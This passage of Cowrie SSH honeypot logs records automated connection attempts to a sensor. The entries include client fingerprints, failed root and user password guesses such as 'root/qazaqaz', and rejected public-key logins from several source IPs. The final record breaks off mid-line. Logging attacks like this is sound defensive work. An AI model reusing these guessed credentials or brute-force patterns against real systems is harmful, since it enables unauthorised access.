{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:32.844333Z","src_ip":"141.11.21.145","session":"940121618cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ms","password":"ms","message":"login attempt [ms/ms] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:33.081742Z","src_ip":"141.11.21.145","session":"940121618cf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:34.165050Z","src_ip":"141.11.21.145","session":"940121618cf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":39502,"dst_ip":"10.17.0.5","dst_port":22,"session":"46346940479f","protocol":"ssh","message":"New connection: 89.108.118.91:39502 (10.17.0.5:22) [session: 46346940479f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:44.764676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:44.770043Z","src_ip":"89.108.118.91","session":"46346940479f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:44.903582Z","src_ip":"89.108.118.91","session":"46346940479f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazaqaz","message":"login attempt [root/qazaqaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:45.300708Z","src_ip":"89.108.118.91","session":"46346940479f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":60722,"dst_ip":"159.203.135.109","dst_port":22,"session":"2de2aa37e9c3","protocol":"ssh","message":"New connection: 176.32.39.21:60722 (159.203.135.109:22) [session: 2de2aa37e9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:45.369007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:45.374354Z","src_ip":"176.32.39.21","session":"2de2aa37e9c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:45.498535Z","src_ip":"176.32.39.21","session":"2de2aa37e9c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"246810","message":"login attempt [root/246810] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:45.866502Z","src_ip":"176.32.39.21","session":"2de2aa37e9c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:46.437275Z","src_ip":"89.108.118.91","session":"46346940479f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:46.992300Z","src_ip":"176.32.39.21","session":"2de2aa37e9c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40604,"dst_ip":"159.203.135.109","dst_port":22,"session":"5963108780bd","protocol":"ssh","message":"New connection: 109.237.96.109:40604 (159.203.135.109:22) [session: 5963108780bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:52.168234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:52.173328Z","src_ip":"109.237.96.109","session":"5963108780bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:52.267942Z","src_ip":"109.237.96.109","session":"5963108780bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12369874","message":"login attempt [root/12369874] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:52.556980Z","src_ip":"109.237.96.109","session":"5963108780bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:53.654661Z","src_ip":"109.237.96.109","session":"5963108780bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.59.229.155","src_port":42394,"dst_ip":"10.17.0.5","dst_port":22,"session":"6063fde0b884","protocol":"ssh","message":"New connection: 146.59.229.155:42394 (10.17.0.5:22) [session: 6063fde0b884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:05.703062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:05.708332Z","src_ip":"146.59.229.155","session":"6063fde0b884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:05.796040Z","src_ip":"146.59.229.155","session":"6063fde0b884","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:33:5e:a8:f1:3e:39:0f:27:64:09:a4:24:4a:03:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeDTeKURuXh+5fs52qBQTYbDtKVUwdBNRSKVNXoNXl+RB+FYj76FRBpP3raELviYDn1YjvvWsLO5ye9SSsFZ1JCzVBknu9676paNzFtG+Wsm0lAsGyc/g7EHr1R+9PmO7l2WlH/jziczOnZn/CNTkU9Go8ixZ3B1M7SsQqHwEnjwaaY0Zk7+FXui//XmSvlEFxNChzOOs2K1fmSx6wOysKsaMsDw25lBf57+o9cKCv30XYmZof/aEaqs6HSIJvNO4mq+a8Qd8iQTyV+njZ/l3gLNOa+BZ4X9Y195L9rZHV5e0afA60IyoeIv1t+x2f6anFZNIkfbwAfPbyob4FqEVb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:33:5e:a8:f1:3e:39:0f:27:64:09:a4:24:4a:03:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:06.171051Z","src_ip":"146.59.229.155","session":"6063fde0b884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:33:5e:a8:f1:3e:39:0f:27:64:09:a4:24:4a:03:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeDTeKURuXh+5fs52qBQTYbDtKVUwdBNRSKVNXoNXl+RB+FYj76FRBpP3raELviYDn1YjvvWsLO5ye9SSsFZ1JCzVBknu9676paNzFtG+Wsm0lAsGyc/g7EHr1R+9PmO7l2WlH/jziczOnZn/CNTkU9Go8ixZ3B1M7SsQqHwEnjwaaY0Zk7+FXui//XmSvlEFxNChzOOs2K1fmSx6wOysKsaMsDw25lBf57+o9cKCv30XYmZof/aEaqs6HSIJvNO4mq+a8Qd8iQTyV+njZ/l3gLNOa+BZ4X9Y195L9rZHV5e0afA60IyoeIv1t+x2f6anFZNIkfbwAfPbyob4FqEVb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:06.179025Z","src_ip":"146.59.229.155","session":"6063fde0b884","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:1c:05:5d:d4:f8:37:5c:2d:82:34:65:43:75:c1:b9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKd4Ujd+LkF9ze1K8AIp57XxMT7nwOR+Ngj9XTNPunSF","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 70:1c:05:5d:d4:f8:37:5c:2d:82:34:65:43:75:c1:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:06.267129Z","src_ip":"146.59.229.155","session":"6063fde0b884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:1c:05:5d:d4:f8:37:5c:2d:82:34:65:43:75:c1:b9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKd4Ujd+LkF9ze1K8AIp57XxMT7nwOR+Ngj9XTNPunSF","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:06.271962Z","src_ip":"146.59.229.155","session":"6063fde0b884","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:a2:21:85:2d:ed:13:60:df:78:a5:b6:2d:00:3a:95","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ4gFB8A7V2t9eze6OODiM6GXq5EWuoiYTWbjxZfd9Nu","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 42:a2:21:85:2d:ed:13:60:df:78:a5:b6:2d:00:3a:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:06.352597Z","src_ip":"146.59.229.155","session":"6063fde0b884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:a2:21:85:2d:ed:13:60:df:78:a5:b6:2d:00:3a:95","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ4gFB8A7V2t9eze6OODiM6GXq5EWuoiYTWbjxZfd9Nu","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:06.360131Z","src_ip":"146.59.229.155","session":"6063fde0b884","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:07:9c:cb:51:fc:31:1e:01:0e:0a:ee:d3:5c:05:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZmSIpafbIK7TcHX1pVtZoXVYIfEc8PgofSJSyb+xshbKjMY+z4dx9r6sazwqia7jxcEwxUCzVElga+7fzeo7MYeIkaHzzT9YQ4rHFHWGEU3Ay+Y4FKSH9RhAAk6xI44ctkF+WuaRk+fHQ5nI6YRXnmE3GGheDGp7VMUXjQ3X/xa++GDBmMk5fxiqtHlXEJKG6DSdE4C+5abdcQnMvaQiTWyEw/yG8zNyHLPm6oLd0ud60ILkoNubtQhZxd65WIRw66ZrBZIJ+tODoywlnUib8yRx9JJlyURYf3mJSfvwq4+gSGECT8x0XIp8qmxjX/+i+n3xICBvlPeldbT+DVSHK3Doo5nVKQMlE1ryKTa25a9kQ1neMAmpEYjS4YJraxBHxw+5F4mR/5HnWrpSyg9xxj/Kf2ZoaJ8nqkmRKewobitt1yFTbyuMsxmEa+F1ofWxHZSzelAWB4P/4VlPYhbM8x7Ux2bPp+P0Zn7VInF6d6MUXeOHJzfaReUBMvs9+8xM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:07:9c:cb:51:fc:31:1e:01:0e:0a:ee:d3:5c:05:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:06.440891Z","src_ip":"146.59.229.155","session":"6063fde0b884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:07:9c:cb:51:fc:31:1e:01:0e:0a:ee:d3:5c:05:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZmSIpafbIK7TcHX1pVtZoXVYIfEc8PgofSJSyb+xshbKjMY+z4dx9r6sazwqia7jxcEwxUCzVElga+7fzeo7MYeIkaHzzT9YQ4rHFHWGEU3Ay+Y4FKSH9RhAAk6xI44ctkF+WuaRk+fHQ5nI6YRXnmE3GGheDGp7VMUXjQ3X/xa++GDBmMk5fxiqtHlXEJKG6DSdE4C+5abdcQnMvaQiTWyEw/yG8zNyHLPm6oLd0ud60ILkoNubtQhZxd65WIRw66ZrBZIJ+tODoywlnUib8yRx9JJlyURYf3mJSfvwq4+gSGECT8x0XIp8qmxjX/+i+n3xICBvlPeldbT+DVSHK3Doo5nVKQMlE1ryKTa25a9kQ1neMAmpEYjS4YJraxBHxw+5F4mR/5HnWrpSyg9xxj/Kf2ZoaJ8nqkmRKewobitt1yFTbyuMsxmEa+F1ofWxHZSzelAWB4P/4VlPYhbM8x7Ux2bPp+P0Zn7VInF6d6MUXeOHJzfaReUBMvs9+8xM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:06.445914Z","src_ip":"146.59.229.155","session":"6063fde0b884","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:d5:f4:36:7f:37:86:34:fa:4c:77:a1:c9:04:49:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3MQA4FJm9sxhOT6zxMLPvE4nYmMkqW7nuPdknjmyEtvvJ6qzcfyawOBXNYVf4shYjsXNhwmxAmuxxKdzhtSTDyME/Sdmy9siE7QQVt6SX+bOxAkiIKDdDm46/V7YG/qcqJM8AoTFVIqbHCvbJWNDuGS70E4FSIkcvz44lSkznrMY7mnxqOEQbRySyJmobv39pC+34NjFGuhkfeOrliPqv0axa2KuAv8GnZMzqlv8kbql19TaLff6IXUbeb1V1Y322PHparThb4y4bbHMH9MT2lIYpM9wz5anzjT+WGycKeUkpSC9cGmAIMj5ITK5/qcsY1TmPxAouwMrAPg/YiqKGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:d5:f4:36:7f:37:86:34:fa:4c:77:a1:c9:04:49:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:06.540888Z","src_ip":"146.59.229.155","session":"6063fde0b884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:d5:f4:36:7f:37:86:34:fa:4c:77:a1:c9:04:49:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3MQA4FJm9sxhOT6zxMLPvE4nYmMkqW7nuPdknjmyEtvvJ6qzcfyawOBXNYVf4shYjsXNhwmxAmuxxKdzhtSTDyME/Sdmy9siE7QQVt6SX+bOxAkiIKDdDm46/V7YG/qcqJM8AoTFVIqbHCvbJWNDuGS70E4FSIkcvz44lSkznrMY7mnxqOEQbRySyJmobv39pC+34NjFGuhkfeOrliPqv0axa2KuAv8GnZMzqlv8kbql19TaLff6IXUbeb1V1Y322PHparThb4y4bbHMH9MT2lIYpM9wz5anzjT+WGycKeUkpSC9cGmAIMj5ITK5/qcsY1TmPxAouwMrAPg/YiqKGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:06.544861Z","src_ip":"146.59.229.155","session":"6063fde0b884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:06.630701Z","src_ip":"146.59.229.155","session":"6063fde0b884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":49678,"dst_ip":"159.203.135.109","dst_port":22,"session":"a96d9e741840","protocol":"ssh","message":"New connection: 194.113.233.25:49678 (159.203.135.109:22) [session: a96d9e741840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:20.211038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:20.216356Z","src_ip":"194.113.233.25","session":"a96d9e741840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hma